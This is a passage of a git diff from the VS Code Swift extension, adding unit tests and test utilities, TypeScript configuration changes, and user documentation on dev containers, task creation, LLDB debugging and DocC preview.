suffix", () => { + const version = Version.fromString("5.10.1-dev"); + + expect(version?.major).to.equal(5); + expect(version?.minor).to.equal(10); + expect(version?.patch).to.equal(1); + expect(version?.dev).to.be.true; + }); + + test("ignores extra digits", () => { + const version = Version.fromString("5.10.1.2"); + + expect(version?.major).to.equal(5); + expect(version?.minor).to.equal(10); + expect(version?.patch).to.equal(1); + }); + + test("ignores extra characters", () => { + let version = Version.fromString("5.10.1.2 abc"); + + expect(version?.major).to.equal(5); + expect(version?.minor).to.equal(10); + expect(version?.patch).to.equal(1); + + version = Version.fromString("abc1.2.3"); + + expect(version?.major).to.equal(1); + expect(version?.minor).to.equal(2); + expect(version?.patch).to.equal(3); + }); + + test("no digits", () => { + const version = Version.fromString("a.b.c"); + + expect(version).to.equal(undefined); + }); + + test("only one character", () => { + const version = Version.fromString("1"); + + expect(version).to.equal(undefined); + }); + }); + + test("toString", () => { + expect(new Version(5, 10, 1).toString(), "5.10.1"); + }); + + test("isLessThan", () => { + expect(new Version(5, 10, 1).isLessThan(new Version(6, 0, 0))).to.be.true; + expect(new Version(5, 9, 0).isLessThan(new Version(5, 10, 0))).to.be.true; + expect(new Version(5, 10, 0).isLessThan(new Version(5, 10, 1))).to.be.true; + expect(new Version(5, 10, 1).isLessThan(new Version(5, 10, 1))).to.be.false; + expect(new Version(5, 10, 0).isLessThan(new Version(5, 9, 0))).to.be.false; + expect(new Version(5, 10, 1).isLessThan(new Version(5, 10, 0))).to.be.false; + expect(new Version(6, 0, 0).isLessThan(new Version(5, 10, 1))).to.be.false; + }); + + test("isLessThanOrEqual", () => { + expect(new Version(5, 10, 1).isLessThanOrEqual(new Version(6, 0, 0))).to.be.true; + expect(new Version(5, 9, 0).isLessThanOrEqual(new Version(5, 10, 0))).to.be.true; + expect(new Version(5, 10, 0).isLessThanOrEqual(new Version(5, 10, 1))).to.be.true; + expect(new Version(5, 10, 1).isLessThanOrEqual(new Version(5, 10, 1))).to.be.true; + expect(new Version(5, 10, 0).isLessThanOrEqual(new Version(5, 9, 0))).to.be.false; + expect(new Version(5, 10, 1).isLessThanOrEqual(new Version(5, 10, 0))).to.be.false; + expect(new Version(6, 0, 0).isLessThanOrEqual(new Version(5, 10, 1))).to.be.false; + }); + + test("isGreaterThan", () => { + expect(new Version(5, 10, 1).isGreaterThan(new Version(6, 0, 0))).to.be.false; + expect(new Version(5, 9, 0).isGreaterThan(new Version(5, 10, 0))).to.be.false; + expect(new Version(5, 10, 0).isGreaterThan(new Version(5, 10, 1))).to.be.false; + expect(new Version(5, 10, 1).isGreaterThan(new Version(5, 10, 1))).to.be.false; + expect(new Version(5, 10, 0).isGreaterThan(new Version(5, 9, 0))).to.be.true; + expect(new Version(5, 10, 1).isGreaterThan(new Version(5, 10, 0))).to.be.true; + expect(new Version(6, 0, 0).isGreaterThan(new Version(5, 10, 1))).to.be.true; + }); + + test("isGreaterThanOrEqual", () => { + expect(new Version(5, 10, 1).isGreaterThanOrEqual(new Version(6, 0, 0))).to.be.false; + expect(new Version(5, 9, 0).isGreaterThanOrEqual(new Version(5, 10, 0))).to.be.false; + expect(new Version(5, 10, 0).isGreaterThanOrEqual(new Version(5, 10, 1))).to.be.false; + expect(new Version(5, 10, 1).isGreaterThanOrEqual(new Version(5, 10, 1))).to.be.true; + expect(new Version(5, 10, 0).isGreaterThanOrEqual(new Version(5, 9, 0))).to.be.true; + expect(new Version(5, 10, 1).isGreaterThanOrEqual(new Version(5, 10, 0))).to.be.true; + expect(new Version(6, 0, 0).isGreaterThanOrEqual(new Version(5, 10, 1))).to.be.true; + }); +}); diff --git a/test/unit-tests/utilities/workspace.test.ts b/test/unit-tests/utilities/workspace.test.ts new file mode 100644 index 000000000..0b032efb7 --- /dev/null +++ b/test/unit-tests/utilities/workspace.test.ts @@ -0,0 +1,127 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { Version } from "@src/utilities/version"; +import { searchForPackages } from "@src/utilities/workspace"; + +import { testAssetUri } from "../../fixtures"; + +suite("Workspace Utilities Unit Test Suite", () => { + suite("searchForPackages", () => { + const packageFolder = testAssetUri("ModularPackage"); + const firstModuleFolder = vscode.Uri.joinPath(packageFolder, "Module1"); + const secondModuleFolder = vscode.Uri.joinPath(packageFolder, "Module2"); + const testSwiftVersion = new Version(5, 9, 0); + + test("returns only root package when search for subpackages disabled", async () => { + const folders = await searchForPackages( + packageFolder, + false, + false, + [], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath)).deep.equal([packageFolder.fsPath]); + }); + + test("returns subpackages when search for subpackages enabled", async () => { + const folders = await searchForPackages( + packageFolder, + false, + true, + [], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath).sort()).deep.equal([ + packageFolder.fsPath, + firstModuleFolder.fsPath, + secondModuleFolder.fsPath, + ]); + }); + + test("skips specified folders when skipFolders contains Module1", async () => { + const folders = await searchForPackages( + packageFolder, + false, + true, + ["Module1"], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath).sort()).deep.equal([ + packageFolder.fsPath, + secondModuleFolder.fsPath, + ]); + }); + + test("skips specified folders when skipFolders contains Module2", async () => { + const folders = await searchForPackages( + packageFolder, + false, + true, + ["Module2"], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath).sort()).deep.equal([ + packageFolder.fsPath, + firstModuleFolder.fsPath, + ]); + }); + + test("skips multiple folders when skipFolders contains both modules", async () => { + const folders = await searchForPackages( + packageFolder, + false, + true, + ["Module1", "Module2"], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath)).deep.equal([packageFolder.fsPath]); + }); + + test("skipFolders has no effect when search for subpackages is disabled", async () => { + const folders = await searchForPackages( + packageFolder, + false, + false, + ["Module1", "Module2"], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath)).deep.equal([packageFolder.fsPath]); + }); + + test("skipFolders with non-existent folder names does not affect results", async () => { + const folders = await searchForPackages( + packageFolder, + false, + true, + ["NonExistentModule", "AnotherFakeModule"], + testSwiftVersion + ); + + expect(folders.map(folder => folder.fsPath).sort()).deep.equal([ + packageFolder.fsPath, + firstModuleFolder.fsPath, + secondModuleFolder.fsPath, + ]); + }); + }); +}); diff --git a/test/utilities/commands.ts b/test/utilities/commands.ts new file mode 100644 index 000000000..292b80930 --- /dev/null +++ b/test/utilities/commands.ts @@ -0,0 +1,20 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { Workbench } from "@src/utilities/commands"; + +export async function closeAllEditors() { + await vscode.commands.executeCommand(Workbench.ACTION_CLOSEALLEDITORS); +} diff --git a/test/utilities/debug.ts b/test/utilities/debug.ts new file mode 100644 index 000000000..a7c4ddf62 --- /dev/null +++ b/test/utilities/debug.ts @@ -0,0 +1,127 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { DebugProtocol } from "@vscode/debugprotocol"; +import * as vscode from "vscode"; + +import { DebugAdapter } from "@src/debugger/debugAdapter"; +import { Workbench } from "@src/utilities/commands"; +import { Version } from "@src/utilities/version"; + +export async function continueSession(): Promise { + await vscode.commands.executeCommand(Workbench.ACTION_DEBUG_CONTINUE); +} + +/** + * Waits for a specific message from the debug adapter. + * + * @param name The name of the debug session to wait for. + * @param matches A function to match the desired message. + * @param workspaceContext The workspace context containing toolchain information. + * @returns A promise that resolves with the matching message. + */ +export async function waitForDebugAdapterMessage( + name: string, + version: Version, + matches: (message: T) => boolean +): Promise { + return await new Promise(res => { + const disposable = vscode.debug.registerDebugAdapterTrackerFactory( + DebugAdapter.getLaunchConfigType(version), + { + createDebugAdapterTracker: function ( + session: vscode.DebugSession + ): vscode.ProviderResult { + if (session.name !== name) { + return; + } + return { + onDidSendMessage(message) { + if (matches(message)) { + disposable.dispose(); + res(message); + } + }, + }; + }, + } + ); + }); +} + +/** + * Waits for a specific debug session to terminate. + * + * @param name The name of the debug session to wait for. + * @returns the terminated DebugSession + */ +export async function waitUntilDebugSessionTerminates(name: string): Promise { + return await new Promise(res => + vscode.debug.onDidTerminateDebugSession(e => { + if (e.name === name) { + res(e); + } + }) + ); +} + +/** + * Waits for a specific command to be sent by the debug adapter. + * + * @param name The name of the debug session to wait for. + * @param command The command to wait for. + * @param workspaceContext The workspace context containing toolchain information. + * @returns A promise that resolves with the matching command message. + */ +export async function waitForDebugAdapterRequest( + name: string, + version: Version, + command: string +): Promise { + return await waitForDebugAdapterMessage( + name, + version, + (m: DebugProtocol.Request) => m.command === command + ); +} + +/** + * Waits for a specific event to be sent by the debug adapter. + * + * @param name The name of the debug session to wait for. + * @param command The command to wait for. + * @param workspaceContext The workspace context containing toolchain information. + * @returns A promise that resolves with the matching command event. + */ +export async function waitForDebugAdapterEvent( + name: string, + version: Version, + event: string +): Promise { + return await waitForDebugAdapterMessage( + name, + version, + (m: DebugProtocol.Event) => m.event === event + ); +} + +/** + * Waits for a debug adapter for the specified DebugSession name to terminate. + * + * @param name The name of the debug session to wait for. + * @returns exit code of the DAP + */ +export async function waitForDebugAdapterExit(name: string, version: Version): Promise { + const message = await waitForDebugAdapterEvent(name, version, "exited"); + return message.body.exitCode; +} diff --git a/test/utilities/tasks.ts b/test/utilities/tasks.ts new file mode 100644 index 000000000..52fa267d1 --- /dev/null +++ b/test/utilities/tasks.ts @@ -0,0 +1,232 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { AssertionError } from "chai"; +import * as vscode from "vscode"; + +import { SwiftTask } from "@src/tasks/SwiftTaskProvider"; + +import { SwiftTaskFixture } from "../fixtures"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import stripAnsi = require("strip-ansi"); + +export type Mutable = { + -readonly [K in keyof T]: T[K]; +}; + +export function mutable(target: T): Mutable { + return target; +} + +/** + * Executes a {@link SwiftTask}, accumulates output, and + * waits for the exit code + * + * @param fixture {@link SwiftTaskFixture} or {@link SwiftTask} + * @returns Object with `exitCode` and accumulated `output`. If no `exitCode`, task terminated abruptly + */ +export async function executeTaskAndWaitForResult( + fixture: SwiftTaskFixture | SwiftTask +): Promise<{ exitCode?: number; output: string }> { + const task = "task" in fixture ? fixture.task : fixture; + const exitPromise = waitForEndTaskProcess(task); + + const execution = await vscode.tasks.executeTask(task); + + let output = ""; + const runningTask = execution.task as SwiftTask; + const disposables = [runningTask.execution.onDidWrite(e => (output += e))]; + const exitCode = await exitPromise; + disposables.forEach(d => d.dispose()); + return { + output, + exitCode, + }; +} + +/** + * Wait for the writeable fixture to write some output + * + * @param fixture {@link SwiftTaskFixture} or {@link SwiftTask} + * @returns The string that was written + */ +export async function waitForWrite(fixture: { onDidWrite: vscode.Event }): Promise { + return new Promise(res => { + const disposable = fixture.onDidWrite(e => { + disposable.dispose(); + res(e); + }); + }); +} + +/** + * Wait for the writeable fixture to write some output + * + * @param fixture {@link SwiftTaskFixture} or {@link SwiftTask} + * @returns The string that was written + */ +export async function waitForClose(fixture: { + onDidClose: vscode.Event; +}): Promise { + return new Promise(res => { + const disposable = fixture.onDidClose(e => { + disposable.dispose(); + res(typeof e === "number" ? e : undefined); + }); + }); +} + +/** + * So spuratic failures can happen if a task that closely + * matches an old one is spawned to close together, so this + * utility can be used to make sure no task is running + * before starting a new test + */ +export function waitForNoRunningTasks(options?: { timeout: number }): Promise { + return new Promise((res, reject) => { + if (vscode.tasks.taskExecutions.length === 0) { + res(); + return; + } + let timeout: NodeJS.Timeout; + const disposable = vscode.tasks.onDidEndTask(() => { + if (vscode.tasks.taskExecutions.length > 0) { + return; + } + disposable?.dispose(); + clearTimeout(timeout); + res(); + }); + if (options?.timeout) { + timeout = setTimeout(() => { + disposable.dispose(); + const runningTasks = vscode.tasks.taskExecutions.map(e => e.task.name); + reject( + new Error( + `Timed out waiting for tasks to complete. The following ${runningTasks.length} tasks are still running: ${runningTasks}.` + ) + ); + }, options.timeout); + } + }); +} + +/** + * Allows for introspection of VS Code tasks that happened while this TaskWatcher is active. + * + * **Note:** Use {@link withTaskWatcher} to limit the scope to the duration of a test and clean up + * listeners upon test completion. + */ +export class TaskWatcher implements vscode.Disposable { + /** An array containing all of the tasks that have already completed. */ + public completedTasks: vscode.Task[] = []; + private subscriptions: vscode.Disposable[]; + + constructor() { + this.subscriptions = [ + vscode.tasks.onDidEndTask(event => { + this.completedTasks.push(event.execution.task); + }), + ]; + } + + /** Asserts that a task was completed with the given name. */ + assertTaskCompletedByName(name: string): void { + if (this.completedTasks.find(t => t.name.includes(name))) { + return; + } + const createStringArray = (arr: string[]): string => { + return "[\n" + arr.map(s => " " + s).join(",\n") + "\n]"; + }; + throw new AssertionError(`expected a task with name "${name}" to have completed.`, { + actual: createStringArray(this.completedTasks.map(t => t.name)), + expected: createStringArray([name]), + showDiff: true, + }); + } + + dispose() { + this.subscriptions.forEach(s => s.dispose()); + } +} + +/** Executes the given callback with a TaskWatcher that listens to the VS Code tasks API for the duration of the callback. */ +export async function withTaskWatcher( + task: (watcher: TaskWatcher) => Promise +): Promise { + const watcher = new TaskWatcher(); + try { + await task(watcher); + } finally { + watcher.dispose(); + } +} + +/** + * Ideally we would want to use {@link executeTaskAndWaitForResult} but that + * requires the tests creating the task through some means. If the + * {@link vscode.Task Task}, was provided by the extension under test, the + * {@link SwiftTask.execution} event emitters never seem to fire. + * + * @param task task to listen for close event + * @returns exitCode for task execution, undefined if terminated unexpectedly + */ +export function waitForEndTaskProcess(task: vscode.Task): Promise { + return new Promise(res => { + const disposables: vscode.Disposable[] = []; + disposables.push( + vscode.tasks.onDidEndTaskProcess(e => { + if (task.detail !== e.execution.task.detail) { + return; + } + disposables.forEach(d => d.dispose()); + res(e.exitCode); + }) + ); + }); +} + +/** + * Ideally we would want to use {@link executeTaskAndWaitForResult} but that + * requires the tests creating the task through some means. If the + * {@link vscode.Task Task}, was provided by the extension under test, the + * {@link SwiftTask.execution} event emitters never seem to fire. + * + * @param task task to listen for start event + */ +export function waitForStartTaskProcess(task: vscode.Task): Promise { + return new Promise(res => { + const disposables: vscode.Disposable[] = []; + disposables.push( + vscode.tasks.onDidStartTaskProcess(e => { + if (task.detail !== e.execution.task.detail) { + return; + } + disposables.forEach(d => d.dispose()); + res(); + }) + ); + }); +} + +/** + * Cleans the provided output stripping ansi and + * cleaning extra whitespace + * + * @param output + * @returns cleaned output + */ +export function cleanOutput(output: string) { + return stripAnsi(output).trim(); +} diff --git a/test/utilities/types.ts b/test/utilities/types.ts new file mode 100644 index 000000000..f2547ee7c --- /dev/null +++ b/test/utilities/types.ts @@ -0,0 +1,21 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +export type Mutable = { + -readonly [K in keyof T]: T[K]; +}; + +export function mutable(target: T): Mutable { + return target; +} diff --git a/tsconfig-base.json b/tsconfig-base.json new file mode 100644 index 000000000..0a88c91b3 --- /dev/null +++ b/tsconfig-base.json @@ -0,0 +1,18 @@ +{ + "compilerOptions": { + "composite": true, + + "rootDir": ".", + "outDir": "dist", + + "lib": ["ES2022"], + "target": "ES2022", + "module": "commonjs", + + "strict": true, + + "sourceMap": true, + + "types": [] + } +} diff --git a/tsconfig.json b/tsconfig.json index c7b9c93c3..29e5cd152 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -1,20 +1,8 @@ { - "compilerOptions": { - "module": "commonjs", - "target": "ES2020", - "outDir": "out", - "lib": [ - "ES2020" - ], - "sourceMap": true, - "strict": true /* enable all strict type-checking options */ - /* Additional Checks */ - // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */ - // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */ - // "noUnusedParameters": true, /* Report errors on unused parameters. */ - }, - "exclude": [ - "node_modules", - ".vscode-test" - ] + "files": [], + "references": [ + { "path": "./src" }, + { "path": "./src/documentation/webview" }, + { "path": "./test" } + ] } diff --git a/userdocs/userdocs.docc/Articles/Advanced/install-pre-release.md b/userdocs/userdocs.docc/Articles/Advanced/install-pre-release.md new file mode 100644 index 000000000..64819cfb4 --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Advanced/install-pre-release.md @@ -0,0 +1,11 @@ +# Installing Pre-Release Builds + +Try out the latest updates by switching to the pre-release version. + +The Swift extension provides pre-release builds that you can use to test out unreleased features or get bug fixes before the project publishes an official release. Pre-release build numbers are one minor version ahead of the most recent release. + +The "Switch to Pre-Release Version" button in the VS Code extensions view is used to install the latest pre-release builds: + +![A snapshot of VS Code that has Extensions highlighted, showing the Swift extension. In the detail panel of the extension view, a red box highlights the button "Switch to Pre-Release Version".](install-pre-release.png) + +When you select to use a pre-release version, the button changes to "Switch to Release Version", which lets you go back to the official release. diff --git a/docs/remote-dev.md b/userdocs/userdocs.docc/Articles/Advanced/remote-dev.md similarity index 61% rename from docs/remote-dev.md rename to userdocs/userdocs.docc/Articles/Advanced/remote-dev.md index c58f919ec..640aa31b7 100644 --- a/docs/remote-dev.md +++ b/userdocs/userdocs.docc/Articles/Advanced/remote-dev.md @@ -1,18 +1,20 @@ -# Visual Studio Code Remote Development +# Visual Studio Code Dev Containers -[VSCode Remote Development](https://code.visualstudio.com/docs/remote/containers) allows you to run your code and environment in a container. This is especially useful for Swift when developing on macOS and deploying to Linux. You can ensure there are no compatibility issues in Foundation when running your code. The extension also works with [GitHub Codespaces](https://github.com/features/codespaces) to allow you to write your code on the web. +Create reusable development environments using containers. + +[VS Code Dev Containers](https://code.visualstudio.com/docs/remote/containers) allows you to run your code and environment in a container. This is especially useful for Swift when developing on macOS and deploying to Linux. You can ensure there are no compatibility issues in Foundation when running your code. The extension also works with [GitHub Codespaces](https://github.com/features/codespaces) to allow you to write your code on the web. ## Requirements -As well as installing the Swift extension, you must install Docker on your machine to run the remote container in. See the [Visual Studio Code documentation](https://code.visualstudio.com/docs/remote/containers) for more details. +As well as installing the Swift extension, you must install Docker on your machine to run the dev container in. See the [Visual Studio Code documentation](https://code.visualstudio.com/docs/devcontainers/containers) for more details. -Next, install the [Remote Development extension pack](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack) that contains extensions for working in remote environments in VSCode. If you only want to work with remote containers (and not use the SSH or WSL containers), you may want to only install the [Remote Development Container extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) instead. +Next, install the [Remote Development extension pack](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack) that contains extensions for working in remote environments in VS Code. If you only want to work with dev containers (and not use the SSH or WSL containers), you may want to only install the [Dev Containers extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) instead. ## Running in a container ### Manual Setup -VSCode requires a `.devcontainer` directory which defines the settings in `devcontainer.json` and optionally a `Dockerfile` defining the container to run in. +VS Code requires a `.devcontainer` directory which defines the settings in `devcontainer.json` and optionally a `Dockerfile` defining the container to run in. First create the directory. Next, create `devcontainer.json` and insert the following: @@ -21,7 +23,7 @@ First create the directory. Next, create `devcontainer.json` and insert the foll "name": "Swift 5.5", "image": "swift:5.5", "extensions": [ - "sswg.swift-lang", + "swiftlang.swift-vscode" ], "settings": { "lldb.library": "/usr/lib/liblldb.so" @@ -30,11 +32,11 @@ First create the directory. Next, create `devcontainer.json` and insert the foll } ``` -This defines the minimum settings required to run a Swift package in a remote container. Here's what each thing does: +This defines the minimum settings required to run a Swift package in a dev container. Here's what each thing does: -* `name`: Used to specify the name of the remote container. +* `name`: Used to specify the name of the dev container. * `image`: The Docker container image to run. You can choose whichever version of Swift you like, including [nightlies](https://hub.docker.com/r/swiftlang/swift). -* `extensions`: Extensions to install in your remote environment. You do not need to specify extensions' dependencies, such as LLDB. +* `extensions`: Extensions to install in your dev environment. You do not need to specify extensions' dependencies, such as LLDB. * `settings`: Override any settings for extensions. The above example sets the LLDB path to stop the Swift extension from attempting to set it up. * `forwardPorts`: Ports to enable forwarding for. You may want to include this if building a Swift server application for example. @@ -59,7 +61,7 @@ FROM swift:5.5 ### Using a custom Docker Compose File -For more complex development environments you may need to use Docker Compose. The `devcontainer.json` file has three settings you need to include if you want to use Docker Compose: +For more complex development environments you may need to use Docker Compose. The `devcontainer.json` file has three settings you need to include if you want to use Docker Compose: - `dockerComposeFile` your docker compose file - `service` the service you want to run - `workspaceFolder` the root folder for your project @@ -73,7 +75,7 @@ Your `devcontainer.json` should look something like this "service": "app", "workspaceFolder": "/workspace", "extensions": [ - "sswg.swift-lang", + "swiftlang.swift-vscode", ], "settings": { "lldb.library": "/usr/lib/liblldb.so" @@ -107,10 +109,10 @@ Note the `service` and `workspace` variables from the `devcontainer.json` refere ### Automatic Setup -VSCode allows you to automatically configure your project with a dev container. In the command palette (`F1`) choose **Remote-Containers: Add Development Container Configuration Files...** and choose Swift. +VS Code allows you to automatically configure your project with a dev container. In the command palette (`F1`) choose **Dev Containers: Add Development Container Configuration Files...** and choose Swift. ### Running in a container -Once you've set up your `.devcontainer`, in the command palette run **Remote-Containers: Reopen in Container**. VSCode will relaunch running in your remote container! +Once you've set up your `.devcontainer`, in the command palette run **Dev Containers: Reopen in Container**. VS Code will relaunch running in your dev container! -For more details about running your project in a remote container, and the available configuration options, see the [Visual Studio Code documentation](https://code.visualstudio.com/docs/remote/remote-overview). \ No newline at end of file +For more details about running your project in a dev container, and the available configuration options, see the [Visual Studio Code documentation](https://code.visualstudio.com/docs/remote/remote-overview). diff --git a/userdocs/userdocs.docc/Articles/Features/automatic-task-creation.md b/userdocs/userdocs.docc/Articles/Features/automatic-task-creation.md new file mode 100644 index 000000000..4d08cd1e3 --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Features/automatic-task-creation.md @@ -0,0 +1,21 @@ +# Automatic Task Creation + +Add tasks for common operations with your Package. + +For workspaces that contain a `Package.swift` file, the Swift extension adds the following tasks: + +- **Build All**: Build all targets in the Package. +- **Build Debug \**: Each executable product in a Package.swift get a task for building a debug build. +- **Build Release \**: Each executable product in a Package.swift get a task for building a release build. + +> 💡 Tip: Tasks use workflows common to all VS Code extensions. For more information see [the VS Code documentation for tasks](https://code.visualstudio.com/docs/editor/tasks). + +These tasks are available via the commands **Terminal ▸ Run Task...** and **Terminal ▸ Run Build Task...** in the command palette. + +## Create tasks for library targets + +By default build tasks are only automatically created for executable products. If you set the `swift.createTasksForLibraryProducts` setting to true, then additional tasks will be created: +- **Build Debug \**: Each library product in a Package.swift get a task for building a debug build. +- **Build Release \**: Each library product in a Package.swift get a task for building a release build. + +> ⚠️ Important: Tasks will not be created for automatic library products, as you cannot specify a `--product` option for automatic products when building. For more information see the [Swift Package Manager documentation for Product definitions](https://docs.swift.org/package-manager/PackageDescription/PackageDescription.html#product). \ No newline at end of file diff --git a/userdocs/userdocs.docc/Articles/Features/debugging.md b/userdocs/userdocs.docc/Articles/Features/debugging.md new file mode 100644 index 000000000..b57d623bc --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Features/debugging.md @@ -0,0 +1,85 @@ +# Debugging + +Debug your Swift executables using LLDB. + +When you open a Swift package (a directory containing a `Package.swift` file), the extension automatically generates build tasks and launch configurations for each executable within the package. Additionally, if the package includes tests, the extension creates a configuration specifically designed to run those tests. These configurations all leverage the CodeLLDB extension as the debugger of choice. + +> 💡 Tip: Debugging workflows are common to all VS Code extensions. See the [VS Code documentation about testing](https://code.visualstudio.com/docs/debugtest/testing) for a more in-depth overview. +> +> Debugging works best when using a version of the Swift toolchain 6.0 or higher. + +Use the **Run > Start Debugging** menu item to run an executable and start debugging. If you have multiple launch configurations you can choose which launch configuration to use in the debugger view. + +## Launch Configurations + +The Swift extension will automatically generate launch configurations for all of your executable products. You can customize these configurations via the `.vscode/launch.json` file in your workspace to add environment variables, arguments, etc. + +Each generated launch configuration will have the `"type"` set to `"swift"`. The properties for the swift launch configuration match the ones [provided by `lldb-dap`](https://marketplace.visualstudio.com/items?itemName=llvm-vs-code-extensions.lldb-dap). You can use code completion in VS Code to help with adding properties to your launch configuration. + +### Launching an Executable + +The most basic launch configuration uses the `"launch"` request and provides a program that will be debugged. For example: + +```javascript +{ + "label": "Debug my-executable", // Human readable name for the configuration + "type": "swift", // All Swift launch configurations use the same type + "request": "launch", // Launch an executable + "program": "${workspaceFolder}/.build/debug/my-executable" +} +``` + +For SwiftPM based projects, you may specify a `target` and `configuration` instead of a `program` to make your debug configurations shareable between different developers on different platforms: + +```javascript +{ + "label": "Debug my-executable", // Human readable name for the configuration + "type": "swift", // All Swift launch configurations use the same type + "request": "launch", // Launch an executable + "target": "my-executable", + "configuration": "debug" +} +``` + +There are many more options that you can specify which will alter the behavior of the debugger: + +| Parameter | Type | Description | +|-------------------------------|-------------|---------------------| +| program | string | Path to the executable to launch. +| target | string | Name of the target to launch. Only available in SwiftPM projects. +| configuration | string | Configuration used to build the target (debug or release). Only available in SwiftPM projects. +| args | [string] | An array of command line argument strings to be passed to the program being launched. +| cwd | string | The program working directory. +| env | dictionary | Environment variables to set when launching the program. The format of each environment variable string is "VAR=VALUE" for environment variables with values or just "VAR" for environment variables with no values. +| stopOnEntry | boolean | Whether to stop program immediately after launching. +| runInTerminal | boolean | Launch the program inside an integrated terminal in the IDE. Useful for debugging interactive command line programs. +| initCommands | [string] | Initialization commands executed upon debugger startup. +| preRunCommands | [string] | Commands executed just before the program is launched. +| postRunCommands | [string] | Commands executed just as soon as the program is successfully launched when it's in a stopped state prior to any automatic continuation. +| launchCommands | [string] | Custom commands that are executed instead of launching a process. A target will be created with the launch arguments prior to executing these commands. The commands may optionally create a new target and must perform a launch. A valid process must exist after these commands complete or the \"launch\" will fail. Launch the process with \"process launch -s\" to make the process to at the entry point since lldb-dap will auto resume if necessary. +| stopCommands | [string] | Commands executed each time the program stops. +| exitCommands | [string] | Commands executed when the program exits. +| terminateCommands | [string] | Commands executed when the debugging session ends. + +### Attaching to a Process + +You can attach to an existing process by using the `"attach"` request and providing one or both of a `"program"` or `"pid"` to attach to: + +```javascript +{ + "label": "Debug my-executable", // Human readable name for the configuration + "type": "swift", // All Swift launch configurations use the same type + "request": "attach", // Attach to a process + "program": "${workspaceFolder}/.build/debug/my-executable", + "pid": "${command:pickProcess}" +} +``` + +The options for attach requests are mostly the same as the launch request with the addition of the following: + +| Parameter | Type | Description | +|--------------------|-------------|---------------------| +| program | string | Path to the executable to attach to. This value is optional but can help to resolve breakpoints prior the attaching to the program. +| pid | number | The process id of the process you wish to attach to. If `pid` is omitted, the debugger will attempt to attach to the program by finding a process whose file name matches the file name from `program`. Setting this value to `${command:pickMyProcess}` will allow interactive process selection in the IDE. +| waitFor | boolean | Wait for the process to launch. +| attachCommands | [string] | LLDB commands that will be executed after `preRunCommands` which take place of the code that normally does the attach. The commands can create a new target and attach or launch it however desired. This allows custom launch and attach configurations. Core files can use `target create --core /path/to/core` to attach to core files. \ No newline at end of file diff --git a/userdocs/userdocs.docc/Articles/Features/docc-live-preview.md b/userdocs/userdocs.docc/Articles/Features/docc-live-preview.md new file mode 100644 index 000000000..1c3eae3bb --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Features/docc-live-preview.md @@ -0,0 +1,20 @@ +# Documentation Live Preview + +@Metadata { + @Available("Swift", introduced: "6.2") +} + +Show a live preview of your Swift documentation while editing. + + +The Swift toolchain provides DocC, which compiles documentation for your Swift package. You can distribute compiled documentation to developers, or host the content. It's what this project used to make its documentation! You can learn more about DocC by reading [the documentation on the Swift organization's website](https://www.swift.org/documentation/docc/). + +View a side-by-side live preview of your documentation as you edit it with the Swift extension for VS Code. +Access this feature using the Preview Swift Documentation button at the top right of an editor, or by invoking `Swift: Preview Documentation` in the command palette. + +This opens up a new editor pane with your rendered documentation: + +![An animation showing how to launch documentation live preview.](docc-live-preview.gif) + +> Note: This feature is only available when using a Swift toolchain 6.2 or higher running on macOS or Linux. + diff --git a/userdocs/userdocs.docc/Articles/Features/language-features.md b/userdocs/userdocs.docc/Articles/Features/language-features.md new file mode 100644 index 000000000..64ac0fcbf --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Features/language-features.md @@ -0,0 +1,13 @@ +# Language Features + +Navigate and write your Swift code more easily with Language features. + +The Swift extension provides language features such as code completion and jump to definition via [SourceKit-LSP](https://github.com/apple/sourcekit-lsp). + +> ⚠️ Important: With Swift toolchains prior to 6.1 you will need to build your project at least once for SourceKit-LSP to function correcly. Whenever you add a new dependency to your project, make sure to rebuild it so 